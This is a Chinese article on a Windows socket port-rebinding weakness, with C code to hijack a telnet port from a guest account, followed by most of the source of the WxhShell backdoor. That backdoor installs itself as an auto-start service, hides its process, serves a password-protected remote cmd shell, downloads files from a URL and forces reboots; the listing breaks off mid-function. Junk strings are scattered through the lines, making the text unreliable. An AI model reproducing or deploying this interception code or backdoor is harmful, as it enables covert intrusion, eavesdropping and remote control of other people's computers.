在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6~:eO(pK
l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
E46+B2_~zk /h.hFM/ saddr.sin_family = AF_INET;
E41ay:duAl (
04clU^F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_m;H$N~I# nIckI!U#D bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
K!L0|WH%! &l&B[s6[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<k41j=d h(<2{%j 这意味着什么?意味着可以进行如下的攻击:
lhp.zl w=|"{-ijo 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;5ANw"Dq pGwBhZnb> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
vXq2="+ +NM`y=@@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P+9%(S)L3 h;+bHrKji 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"DpgX8lG_ [ST,/<?0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
KKFV+bK) p+ki1!Ed 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q'% cVM #9's^}i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZcP/rT3{^ UP+4xG #include
OG!+p}yD] #include
`~+1i5-} #include
6
_Cc+}W #include
HZ_,f"22 DWORD WINAPI ClientThread(LPVOID lpParam);
;7
F'xz" int main()
n/zTS3< {
ML)5nJD WORD wVersionRequested;
1(nK | DWORD ret;
*#
7 1aZ WSADATA wsaData;
uhf%
zG BOOL val;
axpn*(yE SOCKADDR_IN saddr;
%]KOxaf_z SOCKADDR_IN scaddr;
It@1!_tO2 int err;
x&['g*[L0 SOCKET s;
;oT!\$Mu SOCKET sc;
5 `Mos int caddsize;
MODi:jsl HANDLE mt;
}zE
Qrfl DWORD tid;
xnp5XhU wVersionRequested = MAKEWORD( 2, 2 );
yE3l%<;q err = WSAStartup( wVersionRequested, &wsaData );
]Av)N6$&-Z if ( err != 0 ) {
IXJ6w:E printf("error!WSAStartup failed!\n");
:krdG%r return -1;
.!><qVg }
:Qekv(z saddr.sin_family = AF_INET;
{~=Z%Cj2Q o4l=oY:' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Y`tv"v2 t:N3k ;k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Eg/=VBtc saddr.sin_port = htons(23);
K7jz*|2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o'hwyXy/S {
{] Zet}2 printf("error!socket failed!\n");
j_#oP return -1;
Zf [#~4 }
d8V)eZYXy~ val = TRUE;
D(YNa //SO_REUSEADDR选项就是可以实现端口重绑定的
!=t.AgmL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1#OM~v6B {
<aVfgVS printf("error!setsockopt failed!\n");
~V:@4P return -1;
Lfj]Y~*z }
,!{/Y7PmJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[$+N"4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\y\@=j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F%s'R 0l u&7c2|Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
KgCQ4w9 {
{Bd 0 ret=GetLastError();
PRpW*#"EI printf("error!bind failed!\n");
hOTqbd} return -1;
{rE]y C^ }
_=s{,t
&u listen(s,2);
fg8"fbG`: while(1)
g~Hmka_fD1 {
B+w< 0No caddsize = sizeof(scaddr);
no`> r}C //接受连接请求
*H''.6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9bVPMq7}i if(sc!=INVALID_SOCKET)
'
6#en9{L {
<T0+-]i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'nR'o /! if(mt==NULL)
IBY(wx[5S {
D$W09ng- printf("Thread Creat Failed!\n");
nTd[-3o break;
<dA D-2O+ }
n\x@~ SzrX }
yo=0Ov CloseHandle(mt);
4a6WQVS }
p~!UE/V closesocket(s);
1p%75VW WSACleanup();
&!=[.1H< return 0;
Y8$,So>~ }
<JyF5 DWORD WINAPI ClientThread(LPVOID lpParam)
[ {|868 {
F]4JemSjK SOCKET ss = (SOCKET)lpParam;
k:JlC(^h SOCKET sc;
'U8% ! unsigned char buf[4096];
x_K8Gr#Z 0 SOCKADDR_IN saddr;
"N\tR[P! long num;
| @Mx?( DWORD val;
BIM!4MHLA DWORD ret;
"F3M m //如果是隐藏端口应用的话,可以在此处加一些判断
ztRe\(9bL //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y {PUklq saddr.sin_family = AF_INET;
2U
Q&n` A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-ghmLMS%t saddr.sin_port = htons(23);
B{^ojV;]m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z<2j#rd {
8:=EA3 printf("error!socket failed!\n");
E#L"*vh return -1;
E/6@>.T?' }
[Jjb<6[o
val = 100;
h jCkj(b if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+ yF._Ie= {
`1T?\ ret = GetLastError();
S#9EBw7 return -1;
3cH`>#c }
MS~|F^g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g=gWkN
< {
[|)Eyd[G ret = GetLastError();
jZ5 mpYUO return -1;
>cE@m=[ }
JO^E x1c if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
PU\?eA {
3r[}'ba\ printf("error!socket connect failed!\n");
W_sAk~uK/ closesocket(sc);
l^$8;$Rq
closesocket(ss);
|~Op|gs return -1;
^q$m>|KI }
`]0E) while(1)
REe<k<>p~ {
#w
*]`5
T //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9t1aR*b&@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
06dk K)` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+F9)+wT~;q num = recv(ss,buf,4096,0);
Bn5O;I13 if(num>0)
F*bmV>Qq send(sc,buf,num,0);
Uo7V)I;o else if(num==0)
n>
>!dg Og break;
@/w($w" num = recv(sc,buf,4096,0);
" 0&+`7 if(num>0)
bc{ {a send(ss,buf,num,0);
;Az9p h else if(num==0)
uzA_Zjx break;
J!5>8I(_wX }
j?YZOO>X closesocket(ss);
t5qNfiKC closesocket(sc);
C]xKdPQj% return 0 ;
(}|QSf: }
t.7KS: )225ee> (q@DBb4 ==========================================================
j>?0Y ];vEj*jCX 下边附上一个代码,,WXhSHELL
ir-= @@ %]zaX-2dm! ==========================================================
nisW<Q`uB yd-r7iq #include "stdafx.h"
'}Tf9L% }aPx28:/ #include <stdio.h>
y7s:Buyc #include <string.h>
^D{!!)O #include <windows.h>
CflGj0oy8 #include <winsock2.h>
R`_RcHY: #include <winsvc.h>
905%5\Y #include <urlmon.h>
cr&sI=i ["N)=d|LS #pragma comment (lib, "Ws2_32.lib")
#K5)Rb-H #pragma comment (lib, "urlmon.lib")
7AE)P[ ";&5@H| #define MAX_USER 100 // 最大客户端连接数
4t%g:9]vr #define BUF_SOCK 200 // sock buffer
D]{#!w(d #define KEY_BUFF 255 // 输入 buffer
A`Nk gVq5: zB8 @Wl #define REBOOT 0 // 重启
>AbgJ*X. #define SHUTDOWN 1 // 关机
)YB@6TiD @F+zME #define DEF_PORT 5000 // 监听端口
O e-FI+7 &Ow[ #define REG_LEN 16 // 注册表键长度
u; c)Tt #define SVC_LEN 80 // NT服务名长度
W!R}eLf@ J`&*r;""V // 从dll定义API
dK5|tWJX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
D9cpw0{nc typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
* mzJ)4A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
xXCSaBS~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C6$F.v 9L$bJO-3 // wxhshell配置信息
jJ}3WJ struct WSCFG {
Y[hTO.LF int ws_port; // 监听端口
6@"lIKeP char ws_passstr[REG_LEN]; // 口令
0gI^GJN%Y! int ws_autoins; // 安装标记, 1=yes 0=no
GW]b[l char ws_regname[REG_LEN]; // 注册表键名
IfK%i/J char ws_svcname[REG_LEN]; // 服务名
7)2Co[t char ws_svcdisp[SVC_LEN]; // 服务显示名
l"I
G;qO. char ws_svcdesc[SVC_LEN]; // 服务描述信息
J
FYV@%1~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0Y%u[i/ int ws_downexe; // 下载执行标记, 1=yes 0=no
$50/wb6s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&2~c,] 9C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d)_fI*:f Rh[%UNl };
Zj(2$9IU |>/T*zk< // default Wxhshell configuration
+A
4};]W| struct WSCFG wscfg={DEF_PORT,
$jpAnZR- / "xuhuanlingzhe",
rq[+p 1,
&YSjwRr
"Wxhshell",
[>rX/a%c "Wxhshell",
[&tN(K9* "WxhShell Service",
Kx-s95t "Wrsky Windows CmdShell Service",
kM#ZpI&0% "Please Input Your Password: ",
l*v6U'J 1,
Wfw6(L "
http://www.wrsky.com/wxhshell.exe",
MJ=(rp=YU9 "Wxhshell.exe"
7$z]oVbO' };
p41TSALq 'b?Px} // 消息定义模块
h{J=Rq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8Pkw'.r char *msg_ws_prompt="\n\r? for help\n\r#>";
~ AU!Gm. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6lp.0B char *msg_ws_ext="\n\rExit.";
D2060ze char *msg_ws_end="\n\rQuit.";
>~nc7j
u char *msg_ws_boot="\n\rReboot...";
gcaXN6 C char *msg_ws_poff="\n\rShutdown...";
uxxS."~ char *msg_ws_down="\n\rSave to ";
,KfBG<3 vE}>PEfA char *msg_ws_err="\n\rErr!";
;Q1/53Y< char *msg_ws_ok="\n\rOK!";
<b5J"i&m /^m3?q[a char ExeFile[MAX_PATH];
6 4fB$ int nUser = 0;
H{XD>q. HANDLE handles[MAX_USER];
lZt{L0 int OsIsNt;
`egyk)"aM ~h:/9q SERVICE_STATUS serviceStatus;
Po~u-5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
{J?#KHF'| q=_&izmE'7 // 函数声明
~> xVhd int Install(void);
}'"4q int Uninstall(void);
JdP[
cN int DownloadFile(char *sURL, SOCKET wsh);
kVH^(Pi int Boot(int flag);
H.n+CR void HideProc(void);
na%DF@Rt# int GetOsVer(void);
|t1ij'N int Wxhshell(SOCKET wsl);
K|OowM4tv void TalkWithClient(void *cs);
viLK\>> int CmdShell(SOCKET sock);
cNd;qO0$ int StartFromService(void);
K F:W:8 int StartWxhshell(LPSTR lpCmdLine);
U&(TqRi, $69ef[b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
pE^j Uxk6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
|x
Nd^ ;&A%"8o // 数据结构和表定义
3RW3<n SERVICE_TABLE_ENTRY DispatchTable[] =
"I7 Sed7 {
ftw@ nQNU {wscfg.ws_svcname, NTServiceMain},
XW^Sw;[efZ {NULL, NULL}
_6"YWR };
8.g(&F p5`d@y\hj // 自我安装
0Xke26ga int Install(void)
U,Duq^l~s {
f<Co&^A char svExeFile[MAX_PATH];
+RuPfw{z HKEY key;
G T3wJQ5N strcpy(svExeFile,ExeFile);
~<)CI0= t!u{sr{j= // 如果是win9x系统,修改注册表设为自启动
UImd*;2TE if(!OsIsNt) {
NY& |:F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
LHS^[}x^1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`4&a"`&$ RegCloseKey(key);
5W(S~} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2".^Ma^D! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4)IRm2G RegCloseKey(key);
p?#cn
return 0;
)]^xy&:| }
9AbSt&# }
3 E~d }
dWCU Z,6} else {
I|{A&G}|q 2u>
[[U1: // 如果是NT以上系统,安装为系统服务
#fb <\!iza SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
fuwv,[m if (schSCManager!=0)
!aVwmd'9 {
UB4 M=R| SC_HANDLE schService = CreateService
<0,szw (
;M95A schSCManager,
c<(LXf+61 wscfg.ws_svcname,
bay7%[BLB wscfg.ws_svcdisp,
xz#.3|_(' SERVICE_ALL_ACCESS,
Ke_&dgsq SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
H"_]Hq SERVICE_AUTO_START,
B;r o(R SERVICE_ERROR_NORMAL,
TC2gl[ svExeFile,
-quWnn/ NULL,
@_O,0d
g NULL,
=>PBdW NULL,
z_jTR[dY NULL,
][b2Q> NULL
6]#\|lds1 );
iTt#%Fs)4M if (schService!=0)
h,D6MP {
P@u&~RN9f+ CloseServiceHandle(schService);
>-~2:d\M3 CloseServiceHandle(schSCManager);
pO~VI$7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)ZU=`!4 strcat(svExeFile,wscfg.ws_svcname);
%o~w if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
m^8KHa RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7\q_^ RegCloseKey(key);
A ko}v"d return 0;
T@GR Tg }
,r,~1oV<" }
X@ljZ CloseServiceHandle(schSCManager);
'm;M+:l
6 }
+dkbt%7M }
A5lP%&tu( bEXm@-ou return 1;
Wgh4DhAW }
%7_c|G1 NjTVinz // 自我卸载
"dKYJ&$ int Uninstall(void)
~)S Q{eK?& {
A0NNB%4|/ HKEY key;
XZcT-w7 zEQ<Q\"1 if(!OsIsNt) {
n&. bs7N2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NZ\aK}?~! RegDeleteValue(key,wscfg.ws_regname);
j15TavjGh RegCloseKey(key);
kXj%thDx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FmALmS RegDeleteValue(key,wscfg.ws_regname);
8Ee bWs*1 RegCloseKey(key);
/12D >OK
return 0;
"CEy r0h }
bb6
~H }
/S]W<8d }
^J8sR4p# else {
x 5u.D^ <JA`e+Bi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
M y:9 if (schSCManager!=0)
2$D
*~~ {
`ag7xd! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~3{C&c if (schService!=0)
)e)@_0 {
/`iBv8! if(DeleteService(schService)!=0) {
mx#H+:}&r CloseServiceHandle(schService);
,w.`(?I/ CloseServiceHandle(schSCManager);
gTK5z.] return 0;
;Yrg4/Ipa }
n2bL- CloseServiceHandle(schService);
guC/eSxv }
:E|HP#iwu CloseServiceHandle(schSCManager);
PmtBu`OkV }
vqLC?{i+ }
o7feH 6Sh \/jr0): return 1;
v+Vpak9| }
(/&IBd- >G2o // 从指定url下载文件
G"jKYW int DownloadFile(char *sURL, SOCKET wsh)
^4LkKYMS {
]JX0:'x^ HRESULT hr;
?Z @FxW char seps[]= "/";
{~yj]+Im char *token;
QdKxuG char *file;
z_#B 4 char myURL[MAX_PATH];
EXDtVa Ot char myFILE[MAX_PATH];
"(}xIsy 9l+`O0.@ strcpy(myURL,sURL);
e~r%8.Wm token=strtok(myURL,seps);
ce{GpmW while(token!=NULL)
6h
N~< {
$Yt29AQ file=token;
#Zpp*S55 token=strtok(NULL,seps);
AElx #`T }
&\] [:kG; {&G7 Xa GetCurrentDirectory(MAX_PATH,myFILE);
;T2)nSAqt strcat(myFILE, "\\");
v]g/
5qI& strcat(myFILE, file);
|U?5%
L send(wsh,myFILE,strlen(myFILE),0);
b=a&!r5M send(wsh,"...",3,0);
m?-3j65z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8uoFV=bj\ if(hr==S_OK)
c,KT1me return 0;
UYH;15s else
cA"',N8!5 return 1;
mt7}1s,i[ yy4QY% }
KO(+%>^R 9+.0ZP? // 系统电源模块
(LPMEQhI: int Boot(int flag)
irCS}Dbw {
v'B++-% HANDLE hToken;
SN|EWe^ TOKEN_PRIVILEGES tkp;
ll{jE 1TfK"\ if(OsIsNt) {
~.M{n&NM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h&J6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Q44Pg$jp tkp.PrivilegeCount = 1;
:W,6zv(..u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X'Q$v~/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@`aR*B if(flag==REBOOT) {
\t'(&taX< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gd[jYej'RP return 0;
rX6"w31 }
s;q]:+#7g else {
E;~gQ6vAI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qIK"@i[
uq return 0;
AwB ]0H }
<3z]d?u }
S pDVD else {
!8vHN=)z if(flag==REBOOT) {
!!_K|}QOE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
aQwc Py|1R return 0;
_n_lO8mK }
qSj2=dlW else {
~%_$e/T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
aT[Z#Zd, N return 0;
+T=Z!2L }
CfQOG7e@ }
]y@8mb& Ol:&cX3G return 1;
A D=@ }
aOfL;I oC>e'_6_b // win9x进程隐藏模块
y%k\=:m void HideProc(void)
)I{41/_YA {
|\2zw _o >-
]tOH,0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j]}A"8=1 if ( hKernel != NULL )
_)Q)tOW {
O^|dc= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2hAu~#X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QIF|pZ+^ FreeLibrary(hKernel);
:L&Bbw( }
E"bYl3 db^S@} return;
vb)Z&V6( }
zx'G0Z9] ?1i>b-> // 获取操作系统版本
}rsD$ int GetOsVer(void)
|Y"q. n77 {
CL|t!+wU/ OSVERSIONINFO winfo;
dON4r2-yC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!p4w
8 GetVersionEx(&winfo);
6+BR5Nr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'YQ"Lf return 1;
,i#]&f`c;5 else
f:\jPkf' return 0;
-}1S6dzr }
-fuSCj a \B<(R. // 客户端句柄模块
CFAz/x@% int Wxhshell(SOCKET wsl)
?JDZDPVJ) {
1w'iD
X SOCKET wsh;
|/C>xunzz struct sockaddr_in client;
mb~w .~% DWORD myID;
Oyhl*`-*t Sx+.<]t2A while(nUser<MAX_USER)
:.f =>s] {
OaRtGJnR int nSize=sizeof(client);
P!'Sx;C^f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5WgdgDb@L if(wsh==INVALID_SOCKET) return 1;
Bu">)AnN LF* 7;a handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R<lj$_72Q if(handles[nUser]==0)
q3JoU/Sf closesocket(wsh);
>3s9vdUp4h else
{uh]b(}s) nUser++;
ZdeRLX }
KG)7hja<6g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rBa <s p{xO+Nx1a return 0;
]Gm,sp.x }
I
\zM\^S>] z"bgtlfb8 // 关闭 socket
2-j+-B|i void CloseIt(SOCKET wsh)
}legh:/*?O {
55MsF}p closesocket(wsh);
% @3AA< nUser--;
,n TC7V ExitThread(0);
`DIIJ<;g }
[5,aBf)X |lOxRUf~ // 客户端请求句柄
H`CDfTy void TalkWithClient(void *cs)
|4aV~n[># {
Gp'rN}i^ ;X-~C.7k SOCKET wsh=(SOCKET)cs;
1O*5>dkX;% char pwd[SVC_LEN];
HGfV2FtT z char cmd[KEY_BUFF];
{ER!
0w/ char chr[1];
.x5Yfe int i,j;
z]^&^VFu /c'3I
while (nUser < MAX_USER) {
=z'- B~ =:n>yZ3T if(wscfg.ws_passstr) {
`4__X; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/9 NQ u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W,5A|Q~ //ZeroMemory(pwd,KEY_BUFF);
SkBa- *MC i=0;
<:0649ZB while(i<SVC_LEN) {
)9MmL-7K /R^Moj< // 设置超时
;E>5<[aa fd_set FdRead;
<#<4A0: struct timeval TimeOut;
sufidi FD_ZERO(&FdRead);
e p~3e5 FD_SET(wsh,&FdRead);
-v.\CtpHv TimeOut.tv_sec=8;
34k<7X`I TimeOut.tv_usec=0;
B~QX{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
I1yZ7QY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
CdgZq\ 2ikY.Xi6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
!c[(#g pwd
=chr[0]; ojU:RRr4l$
if(chr[0]==0xd || chr[0]==0xa) { ^
}Rqe
pwd=0; 3US}('
break; 9YRoWb{y
} <h:> :%# k
i++; {%5k1,/(
} ,IoPK!5xy
eBX#^
// 如果是非法用户,关闭 socket 4V9DPBh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p s=jGh[
} j9Ptd$Uj
=G3O7\KmH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7;RhA5M
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /=I&-gxC
uSCF;y=1g,
while(1) { ?rID fEvV
cZI )lX
ZeroMemory(cmd,KEY_BUFF); n0g,r/
/1
lIV_Z
// 自动支持客户端 telnet标准 ?nJ7lLQA
j=0; O^ZOc0<
while(j<KEY_BUFF) { a3e<<<Z>R
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \PU3{_G]
cmd[j]=chr[0]; R+k-mbvnt
if(chr[0]==0xa || chr[0]==0xd) { 0yr=$F(]s
cmd[j]=0; o:B?gDM
break; gXN#<g,:^
} x4|>HY<p?
j++; $~vy,^
} Ug02G
c=]qUhnH
// 下载文件 CAyV#7[0
if(strstr(cmd,"http://")) { =<w6yeko
send(wsh,msg_ws_down,strlen(msg_ws_down),0); s$`g%H>
if(DownloadFile(cmd,wsh)) D|m6gP;P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ABN/nH
else hO^8CA,5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jv1igA21_h
} ''Fy]CwH(
else { (,1}P
tz0@csXV
switch(cmd[0]) { Xr\|U89P
S!Ue+jW
// 帮助 U]j4Izq
case '?': { a$ a+3}\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @k:f(c
break; IPmSkK
} $O" S*)9
// 安装 TY~8`+bJ
case 'i': { ]jiM
if(Install()) AY4ZU CqI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uf)?sz
else {N1Ss|6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y: &?xR
break; h<H.8.o
} e^kccz2f
// 卸载 nN" Y~W^k
case 'r': { 7[5g_D t
if(Uninstall()) *O-1zIlp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pOP`n3m0
else Q4e*Z9YJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UwOZBF<
break; ?8[,0l:|
} DpjiE/*
// 显示 wxhshell 所在路径 %7=B?c|
case 'p': { YW55iyM
char svExeFile[MAX_PATH]; z`UL)W
strcpy(svExeFile,"\n\r"); W^; wr#
strcat(svExeFile,ExeFile); RM\it"g
send(wsh,svExeFile,strlen(svExeFile),0); K +n
break; @Ee{ GH^-
} h|OqM:J;
// 重启 P#-9{T
case 'b': { pQ%~u3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?"f\"N
if(Boot(REBOOT)) ;okFm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *sK")Q4N
else { E!<w t
closesocket(wsh); !4-B
xeNY\
ExitThread(0); ^@?-YWt
} sv`+?hjG
break; .;j} :<
} rFJ(t7\9h
// 关机 kBolDPvBG
case 'd': { Q\>9PKK
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,grdl|Dg
if(Boot(SHUTDOWN)) $YuVM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r0kJx$f
else { =" Q5Z6W
closesocket(wsh); tDj~+lmdN
ExitThread(0); _kUf[&
} ozN#LIM>P
break; iXt1{VP'K
} #T<<{ RA
// 获取shell ERcj$ [:T(
case 's': { ph\KTLU
CmdShell(wsh); :SFcnYv0
closesocket(wsh); $1<V'b[E
ExitThread(0); h+EG)
<
break; N8a+X|3]0
} 9x;CJhX
// 退出 ^q``f%Xt
case 'x': { 0<f\bY02
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Stfqa6FJ
CloseIt(wsh); lx9tUTaus/
break; p)l >bC?3
} 1 .\|,$
// 离开 t\LAotTF/
case 'q': { ;/gH6Z?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9W{`$30
closesocket(wsh); I4]|r k9
WSACleanup(); 8W' ,T
exit(1); I|jGu9G
break; hAx#5@*5
} t(3<w)r2
} !GJnYDN
} S!!i
=TImx.D:
// 提示信息 {m1=#*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &t.9^;(
} bvHF;Qywg
} 'iy &%?
",wv*z)_>
return; paFiuQ
} D)C^'/8q
s9t`!
// shell模块句柄 (`S32,=TS
int CmdShell(SOCKET sock) [I/f(GK
{ s7j#Yg
STARTUPINFO si; OsS5WY0H
ZeroMemory(&si,sizeof(si)); !uaV6K
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T\ ;7'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N}`.N
PROCESS_INFORMATION ProcessInfo; 1J$sIY,Ou
char cmdline[]="cmd"; {&tbp
Bl#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EPx_xX
return 0; r\6 "mU
} E]G#"EV!Y
]ZJu
// 自身启动模式 :e9}k5kdk
int StartFromService(void) ^`0^|u=
{ 3;fuz Kk@b
typedef struct 3SbtN3
{ #"tHT<8 u
DWORD ExitStatus; MQD%m ;[s
DWORD PebBaseAddress; o`B,Pt5vu
DWORD AffinityMask; V&7jd7
2{
